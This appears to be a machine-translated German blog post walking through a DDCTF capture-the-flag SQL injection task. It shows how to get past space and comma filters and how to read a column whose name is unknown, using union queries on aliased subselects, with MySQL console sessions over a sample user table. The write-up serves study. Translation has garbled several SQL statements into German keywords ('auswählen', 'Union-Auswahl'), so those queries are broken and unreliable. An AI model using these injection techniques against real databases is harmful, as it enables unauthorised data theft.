So umgehen Sie unbekannte Feldnamen in MySQL

So umgehen Sie unbekannte Feldnamen in MySQL

Vorwort

Dieser Artikel stellt die fünfte Frage von DDCTF vor, die Technik zum Umgehen unbekannter Feldnamen. Hier verwende ich die lokale Maschine, um sie zu betreiben. Die Idee ist großartig und klar. Teilen Sie sie mit allen. Schauen wir uns die ausführliche Einführung an:

Umsetzungsideen

Die Frage filtert Leerzeichen und Kommas. Leerzeichen können mit %0a, %0b, %0c, %0d, %a0 oder Klammern direkt umgangen werden. Kommas können mit „join“ umgangen werden.

Der Feldname, in dem das Flag gespeichert ist, ist unbekannt und information_schema.columns filtert auch den Hex-Wert des Tabellennamens heraus, d. h. der Feldname kann nicht abgerufen werden. In diesem Fall kann eine gemeinsame Abfrage verwendet werden. Der Vorgang ist wie folgt:

Die Idee besteht darin, die Flagge zu erhalten und sie unter einem bekannten Feldnamen erscheinen zu lassen.

Beispielcode:

mysql> auswählen (1 auswählen)a,(2 auswählen)b,(3 auswählen)c,(4 auswählen)d;
+---+---+---+---+
| ein | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 Zeile im Satz (0,00 Sek.)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 Zeile im Satz (0,00 Sek.)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+----------+----------+-------------+
| 1 | 2 | 3 | 4 |
+---+----------+----------+-------------+
| 1 | 2 | 3 | 4 |
| 1 | Administrator | admin888 | [email protected] |
| 2 | Test | test123 | [email protected] |
| 3 | cs | cs123 | [email protected] |
+---+----------+----------+-------------+
4 Zeilen im Satz (0,01 Sek.)
 
mysql> wähle e.4 aus (wähle * aus (wähle 1)a,(wähle 2)b,(wähle 3)c,(wähle 4)d Union wähle * aus Benutzer)e;
+-------------+
| 4 |
+-------------+
| 4 |
| [email protected] |
| [email protected] |
| [email protected] |
+-------------+
4 Reihen im Satz (0,03 Sek.)
 
mysql> wähle e.4 aus (Auswahl * aus (Auswahl 1)a,(Auswahl 2)b,(Auswahl 3)c,(Auswahl 4)d Union-Auswahl * aus Benutzer)e Limit 1 Offset 3;
 
+-------------+
| 4 |
+-------------+
| [email protected] |
+-------------+
1 Zeile im Satz (0,01 Sek.)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
Union-Auswahl * vom Benutzer)e Limit 1 Offset 3)f, (Auswahl 1)g, (Auswahl 1)h, (Auswahl 1)i;
+-------------+----------+----------+-------------+
| ID | Benutzername | Passwort | E-Mail |
+-------------+----------+----------+-------------+
| 1 | Administrator | admin888 | [email protected] |
| [email protected] | 1 | 1 | 1 |
+-------------+----------+----------+-------------+
2 Reihen im Satz (0,04 Sek.)

Zusammenfassen

Das Obige ist der vollständige Inhalt dieses Artikels. Ich hoffe, dass der Inhalt dieses Artikels Ihnen bei Ihrem Studium oder Ihrer Arbeit helfen kann. Wenn Sie Fragen haben, können Sie eine Nachricht hinterlassen. Vielen Dank für Ihre Unterstützung von 123WORDPRESS.COM.

Das könnte Sie auch interessieren:
  • Verhindern Sie XSS- und SQL-Injection: JS-Sonderzeichenfilterung regelmäßig
  • Eine SQL-Anweisung zum Filtern doppelter Daten
  • Zusammenfassung der MySQL-Injection-Bypass-Filtertechniken
  • SQL-Injection umgeht die Einschränkung auf einfache Anführungszeichen und setzt die Injektion fort
  • Zusammenfassung der SQL-Injection-Bypass-Techniken
  • Verwenden mehrspaltiger zusammengesetzter Indizes zum Umgehen eines Fehlers in Microsoft SQL Server
  • Einige wichtige Punkte zur Umgehung von SQL-Injection
  • Methode zum Wiederherstellen versehentlich gelöschter Heap-Tabellendatensätze im einfachen SQL Server-Modus (unter Umgehung der Header-Überprüfung)
  • SQL-Injection-Techniken: Detaillierte Analyse der Umgehung der Kommafilterung bei expliziten und blinden Injections

<<:  Tomcat erhält den Clientdomänennamen des Nginx-Reverse-Proxys

>>:  js implementiert eine einfache Methode zur Kapselung von jQuery und eine detaillierte Erklärung der Kettenoperationen

Artikel empfehlen

Lösung für zu große Mysql-Binlog-Protokolldateien

Inhaltsverzeichnis 1. Verwandte Binlog-Konfigurat...

Analyse des Problems des Datenverlusts durch erzwungene Aktualisierung von Vuex

vuex-persistenter Zustand Kernprinzip: Alle Vuex-...

Webdesign-TabIndex-Element

TabIndex dient zum Drücken der Tabulatortaste, um ...

Lösen Sie das Problem, dass Docker das MySQL-Image zu langsam zieht

Nachdem wir eine halbe Stunde lang versucht hatte...

CocosCreator Erste Schritte Tutorial: Netzwerkkommunikation

Übersicht zur Netzwerkkommunikation Bei der Entwi...

So verstehen Sie den Unterschied zwischen ref toRef und toRefs in Vue3

Inhaltsverzeichnis 1. Grundlagen 1.Referenz 2. to...

So verarbeiten Sie lokal dynamisch geladene Bilder in Vue

Finden Sie das Problem Heute bin ich auf ein Prob...

Analyse der Unfallursachen durch Unicode-Signatur BOM

Möglicherweise verwenden Sie hier Include-Dateien,...